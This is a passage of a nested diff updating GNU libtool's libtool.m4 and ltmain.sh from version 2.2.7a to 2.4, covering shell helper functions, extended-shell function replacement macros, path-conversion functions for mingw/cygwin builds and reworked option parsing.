--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result="${1##*/}"
--}
--
--# func_dirname_and_basename file append nondir_replacement
--# perform func_basename and func_dirname in a single function
--# call:
--# dirname: Compute the dirname of FILE. If nonempty,
--# add APPEND to the result, otherwise set result
--# to NONDIR_REPLACEMENT.
--# value returned in "$func_dirname_result"
--# basename: Compute filename of FILE.
--# value retuned in "$func_basename_result"
--# Implementation must be kept synchronized with func_dirname
--# and func_basename. For efficiency, we do not delegate to
--# those functions but instead duplicate the functionality here.
--func_dirname_and_basename ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
-- func_basename_result="${1##*/}"
--}
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--func_stripname ()
--{
-- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-- # positional parameters, so assign one to ordinary parameter first.
-- func_stripname_result=${3}
-- func_stripname_result=${func_stripname_result#"${1}"}
-- func_stripname_result=${func_stripname_result%"${2}"}
--}
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=${1%%=*}
-- func_opt_split_arg=${1#*=}
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- case ${1} in
-- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-- *) func_lo2o_result=${1} ;;
-- esac
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=${1%.*}.lo
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=$(( $[*] ))
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=${#1}
--}
-+# _LT_PROG_FUNCTION_REPLACE (FUNCNAME, REPLACEMENT-BODY)
-+# ------------------------------------------------------
-+# In `$cfgfile', look for function FUNCNAME delimited by `^FUNCNAME ()$' and
-+# '^} FUNCNAME ', and replace its body with REPLACEMENT-BODY.
-+m4_defun([_LT_PROG_FUNCTION_REPLACE],
-+[dnl {
-+sed -e '/^$1 ()$/,/^} # $1 /c\
-+$1 ()\
-+{\
-+m4_bpatsubsts([$2], [$], [\\], [^\([ ]\)], [\\\1])
-+} # Extended-shell $1 implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+])
-
--_LT_EOF
-- ;;
-- *) # Bourne compatible functions.
-- cat << \_LT_EOF >> "$cfgfile"
-
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
--}
-+# _LT_PROG_REPLACE_SHELLFNS
-+# -------------------------
-+# Replace existing portable implementations of several shell functions with
-+# equivalent extended shell implementations where those features are available..
-+m4_defun([_LT_PROG_REPLACE_SHELLFNS],
-+[if test x"$xsi_shell" = xyes; then
-+ _LT_PROG_FUNCTION_REPLACE([func_dirname], [dnl
-+ case ${1} in
-+ */*) func_dirname_result="${1%/*}${2}" ;;
-+ * ) func_dirname_result="${3}" ;;
-+ esac])
-+
-+ _LT_PROG_FUNCTION_REPLACE([func_basename], [dnl
-+ func_basename_result="${1##*/}"])
-+
-+ _LT_PROG_FUNCTION_REPLACE([func_dirname_and_basename], [dnl
-+ case ${1} in
-+ */*) func_dirname_result="${1%/*}${2}" ;;
-+ * ) func_dirname_result="${3}" ;;
-+ esac
-+ func_basename_result="${1##*/}"])
-
--# func_basename file
--func_basename ()
--{
-- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
--}
-+ _LT_PROG_FUNCTION_REPLACE([func_stripname], [dnl
-+ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-+ # positional parameters, so assign one to ordinary parameter first.
-+ func_stripname_result=${3}
-+ func_stripname_result=${func_stripname_result#"${1}"}
-+ func_stripname_result=${func_stripname_result%"${2}"}])
-
--dnl func_dirname_and_basename
--dnl A portable version of this function is already defined in general.m4sh
--dnl so there is no need for it here.
-+ _LT_PROG_FUNCTION_REPLACE([func_split_long_opt], [dnl
-+ func_split_long_opt_name=${1%%=*}
-+ func_split_long_opt_arg=${1#*=}])
-
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--# func_strip_suffix prefix name
--func_stripname ()
--{
-- case ${2} in
-- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-- esac
--}
-+ _LT_PROG_FUNCTION_REPLACE([func_split_short_opt], [dnl
-+ func_split_short_opt_arg=${1#??}
-+ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}])
-
--# sed scripts:
--my_sed_long_opt='1s/^\(-[[^=]]*\)=.*/\1/;q'
--my_sed_long_arg='1s/^-[[^=]]*=//'
-+ _LT_PROG_FUNCTION_REPLACE([func_lo2o], [dnl
-+ case ${1} in
-+ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-+ *) func_lo2o_result=${1} ;;
-+ esac])
-
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
-- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
--}
-+ _LT_PROG_FUNCTION_REPLACE([func_xform], [ func_xform_result=${1%.*}.lo])
-
--# func_lo2o object
--func_lo2o ()
--{
-- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
--}
-+ _LT_PROG_FUNCTION_REPLACE([func_arith], [ func_arith_result=$(( $[*] ))])
-
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=`$ECHO "${1}" | $SED 's/\.[[^.]]*$/.lo/'`
--}
-+ _LT_PROG_FUNCTION_REPLACE([func_len], [ func_len_result=${#1}])
-+fi
-
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=`expr "$[@]"`
--}
-+if test x"$lt_shell_append" = xyes; then
-+ _LT_PROG_FUNCTION_REPLACE([func_append], [ eval "${1}+=\\${2}"])
-
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=`expr "$[1]" : ".*" 2>/dev/null || echo $max_cmd_len`
--}
-+ _LT_PROG_FUNCTION_REPLACE([func_append_quoted], [dnl
-+ func_quote_for_eval "${2}"
-+dnl m4 expansion turns \\\\ into \\, and then the shell eval turns that into \
-+ eval "${1}+=\\\\ \\$func_quote_for_eval_result"])
-
--_LT_EOF
--esac
-+ # Save a `func_append' function call where possible by direct use of '+='
-+ sed -e 's%func_append \([[a-zA-Z_]]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+else
-+ # Save a `func_append' function call even when '+=' is not available
-+ sed -e 's%func_append \([[a-zA-Z_]]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+fi
-
--case $lt_shell_append in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
-+if test x"$_lt_function_replace_fail" = x":"; then
-+ AC_MSG_WARN([Unable to substitute extended shell functions in $ofile])
-+fi
-+])
-
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$[1]+=\$[2]"
--}
--_LT_EOF
-+# _LT_PATH_CONVERSION_FUNCTIONS
-+# -----------------------------
-+# Determine which file name conversion functions should be used by
-+# func_to_host_file (and, implicitly, by func_to_host_path). These are needed
-+# for certain cross-compile configurations and native mingw.
-+m4_defun([_LT_PATH_CONVERSION_FUNCTIONS],
-+[AC_REQUIRE([AC_CANONICAL_HOST])dnl
-+AC_REQUIRE([AC_CANONICAL_BUILD])dnl
-+AC_MSG_CHECKING([how to convert $build file names to $host format])
-+AC_CACHE_VAL(lt_cv_to_host_file_cmd,
-+[case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
-+ ;;
-+ esac
- ;;
-- *)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$[1]=\$$[1]\$[2]"
--}
--
--_LT_EOF
-+ *-*-cygwin* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
-+ ;;
-+ *-*-cygwin* )
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+ * ) # otherwise, assume *nix
-+ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
-+ ;;
-+ esac
- ;;
-- esac
-+ * ) # unhandled hosts (and "normal" native builds)
-+ lt_cv_to_host_file_cmd=func_convert_file_noop
-+ ;;
-+esac
-+])
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+AC_MSG_RESULT([$lt_cv_to_host_file_cmd])
-+_LT_DECL([to_host_file_cmd], [lt_cv_to_host_file_cmd],
-+ [0], [convert $build file names to $host format])dnl
-+
-+AC_MSG_CHECKING([how to convert $build file names to toolchain format])
-+AC_CACHE_VAL(lt_cv_to_tool_file_cmd,
-+[#assume ordinary cross tools, or native build.
-+lt_cv_to_tool_file_cmd=func_convert_file_noop
-+case $host in
-+ *-*-mingw* )
-+ case $build in
-+ *-*-mingw* ) # actually msys
-+ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
-+ ;;
-+ esac
-+ ;;
-+esac
- ])
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+AC_MSG_RESULT([$lt_cv_to_tool_file_cmd])
-+_LT_DECL([to_tool_file_cmd], [lt_cv_to_tool_file_cmd],
-+ [0], [convert $build files to toolchain format])dnl
-+])# _LT_PATH_CONVERSION_FUNCTIONS
-diff --git a/ltmain.sh b/ltmain.sh
-index 9503ec85d70..70e856e0659 100644
---- a/ltmain.sh
-+++ b/ltmain.sh
-@@ -1,10 +1,9 @@
--# Generated from ltmain.m4sh.
-
--# libtool (GNU libtool 1.3134 2009-11-29) 2.2.7a
-+# libtool (GNU libtool) 2.4
- # Written by Gordon Matzigkeit <gord@gnu.ai.mit.edu>, 1996
-
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005, 2006,
--# 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2007, 2008, 2009, 2010 Free Software Foundation, Inc.
- # This is free software; see the source for copying conditions. There is NO
- # warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-
-@@ -38,7 +37,6 @@
- # -n, --dry-run display commands without modifying any files
- # --features display basic configuration information and exit
- # --mode=MODE use operation mode MODE
--# --no-finish let install mode avoid finish commands
- # --preserve-dup-deps don't remove duplicate dependency libraries
- # --quiet, --silent don't print informational messages
- # --no-quiet, --no-silent
-@@ -71,17 +69,19 @@
- # compiler: $LTCC
- # compiler flags: $LTCFLAGS
- # linker: $LD (gnu? $with_gnu_ld)
--# $progname: (GNU libtool 1.3134 2009-11-29) 2.2.7a
-+# $progname: (GNU libtool) 2.4
- # automake: $automake_version
- # autoconf: $autoconf_version
- #
- # Report bugs to <bug-libtool@gnu.org>.
-+# GNU libtool home page: <http://www.gnu.org/software/libtool/>.
-+# General help using GNU software: <http://www.gnu.org/gethelp/>.
-
- PROGRAM=libtool
- PACKAGE=libtool
--VERSION=2.2.7a
--TIMESTAMP=" 1.3134 2009-11-29"
--package_revision=1.3134
-+VERSION=2.4
-+TIMESTAMP=""
-+package_revision=1.3293
-
- # Be Bourne compatible
- if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then
-@@ -106,9 +106,6 @@ _LTECHO_EOF'
- }
-
- # NLS nuisances: We save the old values to restore during execute mode.
--# Only set LANG and LC_ALL to C if already set.
--# These must not be set unconditionally because not all systems understand
--# e.g. LANG=C (notably SCO).
- lt_user_locale=
- lt_safe_locale=
- for lt_var in LANG LANGUAGE LC_ALL LC_CTYPE LC_COLLATE LC_MESSAGES
-@@ -121,15 +118,13 @@ do
- lt_safe_locale=\"$lt_var=C; \$lt_safe_locale\"
- fi"
- done
-+LC_ALL=C
-+LANGUAGE=C
-+export LANGUAGE LC_ALL
-
- $lt_unset CDPATH
-
-
--
--
--
--
--
- # Work around backward compatibility issue on IRIX 6.5. On IRIX 6.4+, sh
- # is ksh but when the shell is invoked as "sh" and the current value of
- # the _XPG environment variable is not equal to 1 (one), the special
-@@ -140,7 +135,7 @@ progpath="$0"
-
-
- : ${CP="cp -f"}
--: ${ECHO=$as_echo}
-+test "${ECHO+set}" = set || ECHO=${as_echo-'printf %s\n'}
- : ${EGREP="/bin/grep -E"}
- : ${FGREP="/bin/grep -F"}
- : ${GREP="/bin/grep"}
-@@ -149,7 +144,7 @@ progpath="$0"
- : ${MKDIR="mkdir"}
- : ${MV="mv -f"}
- : ${RM="rm -f"}
--: ${SED="/mount/endor/wildenhu/local-x86_64/bin/sed"}
-+: ${SED="/bin/sed"}
- : ${SHELL="${CONFIG_SHELL-/bin/sh}"}
- : ${Xsed="$SED -e 1s/^X//"}
-
-@@ -169,6 +164,27 @@ IFS=" $lt_nl"
- dirname="s,/[^/]*$,,"
- basename="s,^.*/,,"
-
-+# func_dirname file append nondir_replacement
-+# Compute the dirname of FILE. If nonempty, add APPEND to the result,
-+# otherwise set result to NONDIR_REPLACEMENT.
-+func_dirname ()
-+{
-+ func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-+ if test "X$func_dirname_result" = "X${1}"; then
-+ func_dirname_result="${3}"
-+ else
-+ func_dirname_result="$func_dirname_result${2}"
-+ fi
-+} # func_dirname may be replaced by extended shell implementation
-+
-+
-+# func_basename file
-+func_basename ()
-+{
-+ func_basename_result=`$ECHO "${1}" | $SED "$basename"`
-+} # func_basename may be replaced by extended shell implementation
-+
-+
- # func_dirname_and_basename file append nondir_replacement
- # perform func_basename and func_dirname in a single function
- # call:
-@@ -183,17 +199,31 @@ basename="s,^.*/,,"
- # those functions but instead duplicate the functionality here.
- func_dirname_and_basename ()
- {
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED -e "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
-- func_basename_result=`$ECHO "${1}" | $SED -e "$basename"`
--}
-+ # Extract subdirectory from the argument.
-+ func_dirname_result=`$ECHO "${1}" | $SED -e "$dirname"`
-+ if test "X$func_dirname_result" = "X${1}"; then
-+ func_dirname_result="${3}"
-+ else
-+ func_dirname_result="$func_dirname_result${2}"
-+ fi
-+ func_basename_result=`$ECHO "${1}" | $SED -e "$basename"`
-+} # func_dirname_and_basename may be replaced by extended shell implementation
-+
-+
-+# func_stripname prefix suffix name
-+# strip PREFIX and SUFFIX off of NAME.
-+# PREFIX and SUFFIX must not contain globbing or regex special
-+# characters, hashes, percent signs, but SUFFIX may contain a leading
-+# dot (in which case that matches only a dot).
-+# func_strip_suffix prefix name
-+func_stripname ()
-+{
-+ case ${2} in
-+ .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-+ *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-+ esac
-+} # func_stripname may be replaced by extended shell implementation
-
--# Generated shell functions inserted here.
-
- # These SED scripts presuppose an absolute path with a trailing slash.
- pathcar='s,^/\([^/]*\).*$,\1,'
-@@ -376,6 +406,15 @@ sed_quote_subst='s/\([`"$\\]\)/\\\1/g'
- # Same as above, but do not quote variable references.
- double_quote_subst='s/\(["`\\]\)/\\\1/g'
-
-+# Sed substitution that turns a string into a regex matching for the
-+# string literally.
-+sed_make_literal_regex='s,[].[^$\\*\/],\\&,g'
-+
-+# Sed substitution that converts a w32 file name or path
-+# which contains forward slashes, into one that contains
-+# (escaped) backslashes. A very naive implementation.
-+lt_sed_naive_backslashify='s|\\\\*|\\|g;s|/|\\|g;s|\\|\\\\|g'
-+
- # Re-`\' parameter expansions in output of double_quote_subst that were
- # `\'-ed in input to the same. If an odd number of `\' preceded a '$'
- # in input to double_quote_subst, that '$' was protected from expansion.
-@@ -404,7 +443,7 @@ opt_warning=:
- # name if it has been set yet.
- func_echo ()
- {
-- $ECHO "$progname${mode+: }$mode: $*"
-+ $ECHO "$progname: ${opt_mode+$opt_mode: }$*"
- }
-
- # func_verbose arg...
-@@ -430,14 +469,14 @@ func_echo_all ()
- # Echo program name prefixed message to standard error.
- func_error ()
- {
-- $ECHO "$progname${mode+: }$mode: "${1+"$@"} 1>&2
-+ $ECHO "$progname: ${opt_mode+$opt_mode: }"${1+"$@"} 1>&2
- }
-
- # func_warning arg...
- # Echo program name prefixed warning message to standard error.
- func_warning ()
- {
-- $opt_warning && $ECHO "$progname${mode+: }$mode: warning: "${1+"$@"} 1>&2
-+ $opt_warning && $ECHO "$progname: ${opt_mode+$opt_mode: }warning: "${1+"$@"} 1>&2
-
- # bash bug again:
- :
-@@ -656,19 +695,35 @@ func_show_eval_locale ()
- fi
- }
-
--
--
-+# func_tr_sh
-+# Turn $1 into a string suitable for a shell variable name.
-+# Result is stored in $func_tr_sh_result. All characters
-+# not in the set a-zA-Z0-9_ are replaced with '_'. Further,
-+# if $1 begins with a digit, a '_' is prepended as well.
-+func_tr_sh ()
-+{
-+ case $1 in
-+ [0-9]* | *[!a-zA-Z0-9_]*)
-+ func_tr_sh_result=`$ECHO "$1" | $SED 's/^\([0-9]\)/_\1/; s/[^a-zA-Z0-9_]/_/g'`
-+ ;;
-+ * )
-+ func_tr_sh_result=$1
-+ ;;
-+ esac
-+}
-
-
- # func_version
- # Echo version message to standard output and exit.
- func_version ()
- {
-+ $opt_debug
-+
- $SED -n '/(C)/!b go
- :more
- /\./!{
- N
-- s/\n# //
-+ s/\n# / /
- b more
- }
- :go
-@@ -685,7 +740,9 @@ func_version ()
- # Echo short help message to standard output and exit.
- func_usage ()
- {
-- $SED -n '/^# Usage:/,/^# *-h/ {
-+ $opt_debug
-+
-+ $SED -n '/^# Usage:/,/^# *.*--help/ {
- s/^# //
- s/^# *$//
- s/\$progname/'$progname'/
-@@ -701,7 +758,10 @@ func_usage ()
- # unless 'noexit' is passed as argument.
- func_help ()
- {
-+ $opt_debug
-+
- $SED -n '/^# Usage:/,/# Report bugs to/ {
-+ :print
- s/^# //
- s/^# *$//
- s*\$progname*'$progname'*
-@@ -714,7 +774,11 @@ func_help ()
- s/\$automake_version/'"`(automake --version) 2>/dev/null |$SED 1q`"'/
- s/\$autoconf_version/'"`(autoconf --version) 2>/dev/null |$SED 1q`"'/
- p
-- }' < "$progpath"
-+ d
-+ }
-+ /^# .* home page:/b print
-+ /^# General help using/b print
-+ ' < "$progpath"
- ret=$?
- if test -z "$1"; then
- exit $ret
-@@ -726,12 +790,39 @@ func_help ()
- # exit_cmd.
- func_missing_arg ()
- {
-- func_error "missing argument for $1"
-+ $opt_debug
-+
-+ func_error "missing argument for $1."
- exit_cmd=exit
- }
-
--exit_cmd=:
-
-+# func_split_short_opt shortopt
-+# Set func_split_short_opt_name and func_split_short_opt_arg shell
-+# variables after splitting SHORTOPT after the 2nd character.
-+func_split_short_opt ()
-+{
-+ my_sed_short_opt='1s/^\(..\).*$/\1/;q'
-+ my_sed_short_rest='1s/^..\(.*\)$/\1/;q'
-+
-+ func_split_short_opt_name=`$ECHO "$1" | $SED "$my_sed_short_opt"`
-+ func_split_short_opt_arg=`$ECHO "$1" | $SED "$my_sed_short_rest"`
-+} # func_split_short_opt may be replaced by extended shell implementation
-+
-+
-+# func_split_long_opt longopt
-+# Set func_split_long_opt_name and func_split_long_opt_arg shell
-+# variables after splitting LONGOPT at the `=' sign.
-+func_split_long_opt ()
-+{
-+ my_sed_long_opt='1s/^\(--[^=]*\)=.*/\1/;q'
-+ my_sed_long_arg='1s/^--[^=]*=//'
-+
-+ func_split_long_opt_name=`$ECHO "$1" | $SED "$my_sed_long_opt"`
-+ func_split_long_opt_arg=`$ECHO "$1" | $SED "$my_sed_long_arg"`
-+} # func_split_long_opt may be replaced by extended shell implementation
-+
-+exit_cmd=:
-
-
-
-@@ -741,26 +832,64 @@ magic="%%%MAGIC variable%%%"
- magic_exe="%%%MAGIC EXE variable%%%"
-
- # Global variables.
--# $mode is unset
- nonopt=
--execute_dlfiles=
- preserve_args=
- lo2o="s/\\.lo\$/.${objext}/"
- o2lo="s/\\.${objext}\$/.lo/"
- extracted_archives=
- extracted_serial=0
-
--opt_dry_run=false
--opt_finish=:
--opt_duplicate_deps=false
--opt_silent=false
--opt_debug=:
--
- # If this variable is set in any of the actions, the command in it
- # will be execed at the end. This prevents here-documents from being
- # left over by shells.
- exec_cmd=
-
-+# func_append var value
-+# Append VALUE to the end of shell variable VAR.
-+func_append ()
-+{
-+ eval "${1}=\$${1}\${2}"
-+} # func_append may be replaced by extended shell implementation
-+
-+# func_append_quoted var value
-+# Quote VALUE and append to the end of shell variable VAR, separated
-+# by a space.
-+func_append_quoted ()
-+{
-+ func_quote_for_eval "${2}"
-+ eval "${1}=\$${1}\\ \$func_quote_for_eval_result"
-+} # func_append_quoted may be replaced by extended shell implementation
-+
-+
-+# func_arith arithmetic-term...
-+func_arith ()
-+{
-+ func_arith_result=`expr "${@}"`
-+} # func_arith may be replaced by extended shell implementation
-+
-+
-+# func_len string
-+# STRING may not start with a hyphen.
-+func_len ()
-+{
-+ func_len_result=`expr "${1}" : ".*" 2>/dev/null || echo $max_cmd_len`
-+} # func_len may be replaced by extended shell implementation
-+
-+
-+# func_lo2o object
-+func_lo2o ()
-+{
-+ func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
-+} # func_lo2o may be replaced by extended shell implementation
-+
-+
-+# func_xform libobj-or-source
-+func_xform ()
-+{
-+ func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
-+} # func_xform may be replaced by extended shell implementation
-+
-+
- # func_fatal_configuration arg...
- # Echo program name prefixed message to standard error, followed by
- # a configuration failure hint, and exit.
-@@ -850,130 +979,204 @@ func_enable_tag ()
- esac
- }
-
--# Parse options once, thoroughly. This comes as soon as possible in
--# the script to make things like `libtool --version' happen quickly.
-+# func_check_version_match
-+# Ensure that we are using m4 macros, and libtool script from the same
-+# release of libtool.
-+func_check_version_match ()
- {
-+ if test "$package_revision" != "$macro_revision"; then
-+ if test "$VERSION" != "$macro_version"; then
-+ if test -z "$macro_version"; then
-+ cat >&2 <<_LT_EOF
-+$progname: Version mismatch error. This is $PACKAGE $VERSION, but the
-+$progname: definition of this LT_INIT comes from an older release.
-+$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION
-+$progname: and run autoconf again.
-+_LT_EOF
-+ else
-+ cat >&2 <<_LT_EOF
-+$progname: Version mismatch error. This is $PACKAGE $VERSION, but the
-+$progname: definition of this LT_INIT comes from $PACKAGE $macro_version.
-+$progname: You should recreate aclocal.m4 with macros from $PACKAGE $VERSION
-+$progname: and run autoconf again.
-+_LT_EOF
-+ fi
-+ else
-+ cat >&2 <<_LT_EOF
-+$progname: Version mismatch error. This is $PACKAGE $VERSION, revision $package_revision,
-+$progname: but the definition of this LT_INIT comes from revision $macro_revision.
-+$progname: You should recreate aclocal.m4 with macros from revision $package_revision
-+$progname: of $PACKAGE $VERSION and run autoconf again.
-+_LT_EOF
-+ fi
-
-- # Shorthand for --mode=foo, only valid as the first argument
-- case $1 in
-- clean|clea|cle|cl)
-- shift; set dummy --mode clean ${1+"$@"}; shift
-- ;;
-- compile|compil|compi|comp|com|co|c)
-- shift; set dummy --mode compile ${1+"$@"}; shift
-- ;;
-- execute|execut|execu|exec|exe|ex|e)
-- shift; set dummy --mode execute ${1+"$@"}; shift
-- ;;
-- finish|finis|fini|fin|fi|f)
-- shift; set dummy --mode finish ${1+"$@"}; shift
-- ;;
-- install|instal|insta|inst|ins|in|i)
-- shift; set dummy --mode install ${1+"$@"}; shift
-- ;;
-- link|lin|li|l)
-- shift; set dummy --mode link ${1+"$@"}; shift
-- ;;
-- uninstall|uninstal|uninsta|uninst|unins|unin|uni|un|u)
-- shift; set dummy --mode uninstall ${1+"$@"}; shift
-- ;;
-- esac
-+ exit $EXIT_MISMATCH
-+ fi
-+}
-+
-+
-+# Shorthand for --mode=foo, only valid as the first argument
-+case $1 in
-+clean|clea|cle|cl)
-+ shift; set dummy --mode clean ${1+"$@"}; shift
-+ ;;
-+compile|compil|compi|comp|com|co|c)
-+ shift; set dummy --mode compile ${1+"$@"}; shift
-+ ;;
-+execute|execut|execu|exec|exe|ex|e)
-+ shift; set dummy --mode execute ${1+"$@"}; shift
-+ ;;
-+finish|finis|fini|fin|fi|f)
-+ shift; set dummy --mode finish ${1+"$@"}; shift
-+ ;;
-+install|instal|insta|inst|ins|in|i)
-+ shift; set dummy --mode install ${1+"$@"}; shift
-+ ;;
-+link|lin|li|l)
-+ shift; set dummy --mode link ${1+"$@"}; shift
-+ ;;
-+uninstall|uninstal|uninsta|uninst|unins|unin|uni|un|u)
-+ shift; set dummy --mode uninstall ${1+"$@"}; shift
-+ ;;
-+esac
-
-- # Parse non-mode specific arguments:
-- while test "$#" -gt 0; do
-+
-+
-+# Option defaults:
-+opt_debug=:
-+opt_dry_run=false
-+opt_config=false
-+opt_preserve_dup_deps=false
-+opt_features=false
-+opt_finish=false
-+opt_help=false
-+opt_help_all=false
-+opt_silent=:
-+opt_verbose=:
-+opt_silent=false
-+opt_verbose=false
-+
-+
-+# Parse options once, thoroughly. This comes as soon as possible in the
-+# script to make things like `--version' happen as quickly as we can.
-+{
-+ # this just eases exit handling
-+ while test $# -gt 0; do
- opt="$1"
- shift
--
- case $opt in
-- --config) func_config ;;
--
-- --debug) preserve_args="$preserve_args $opt"
-+ --debug|-x) opt_debug='set -x'
- func_echo "enabling shell trace mode"
-- opt_debug='set -x'
- $opt_debug
- ;;
--
-- -dlopen) test "$#" -eq 0 && func_missing_arg "$opt" && break
-- execute_dlfiles="$execute_dlfiles $1"
-- shift
-+ --dry-run|--dryrun|-n)
-+ opt_dry_run=:
- ;;
--
-- --dry-run | -n) opt_dry_run=: ;;
-- --features) func_features ;;
-- --finish) mode="finish" ;;
-- --no-finish) opt_finish=false ;;
--
-- --mode) test "$#" -eq 0 && func_missing_arg "$opt" && break
-- case $1 in
-- # Valid mode arguments:
-- clean) ;;
-- compile) ;;
-- execute) ;;
-- finish) ;;
-- install) ;;
-- link) ;;
-- relink) ;;
-- uninstall) ;;
--
-- # Catch anything else as an error
-- *) func_error "invalid argument for $opt"
-- exit_cmd=exit
-- break
-- ;;
-- esac
--
-- mode="$1"
-+ --config)
-+ opt_config=:
-+func_config
-+ ;;
-+ --dlopen|-dlopen)
-+ optarg="$1"
-+ opt_dlopen="${opt_dlopen+$opt_dlopen
-+}$optarg"
- shift
- ;;
--
- --preserve-dup-deps)
-- opt_duplicate_deps=: ;;
--
-- --quiet|--silent) preserve_args="$preserve_args $opt"
-- opt_silent=:
-- opt_verbose=false
-+ opt_preserve_dup_deps=:
- ;;
--
-- --no-quiet|--no-silent)
-- preserve_args="$preserve_args $opt"
-- opt_silent=false
-+ --features)
-+ opt_features=:
-+func_features
- ;;
--
-- --verbose| -v) preserve_args="$preserve_args $opt"
-+ --finish)
-+ opt_finish=:
-+set dummy --mode finish ${1+"$@"}; shift
-+ ;;
-+ --help)
-+ opt_help=:
-+ ;;
-+ --help-all)
-+ opt_help_all=:
-+opt_help=': help-all'
-+ ;;
-+ --mode)
-+ test $# = 0 && func_missing_arg $opt && break
-+ optarg="$1"
-+ opt_mode="$optarg"
-+case $optarg in
-+ # Valid mode arguments:
-+ clean|compile|execute|finish|install|link|relink|uninstall) ;;
-+
-+ # Catch anything else as an error
-+ *) func_error "invalid argument for $opt"
-+ exit_cmd=exit
-+ break
-+ ;;
-+esac
-+ shift
-+ ;;
-+ --no-silent|--no-quiet)
- opt_silent=false
-- opt_verbose=:
-+func_append preserve_args " $opt"
- ;;
--
-- --no-verbose) preserve_args="$preserve_args $opt"
-+ --no-verbose)
- opt_verbose=false
-+func_append preserve_args " $opt"
- ;;
--
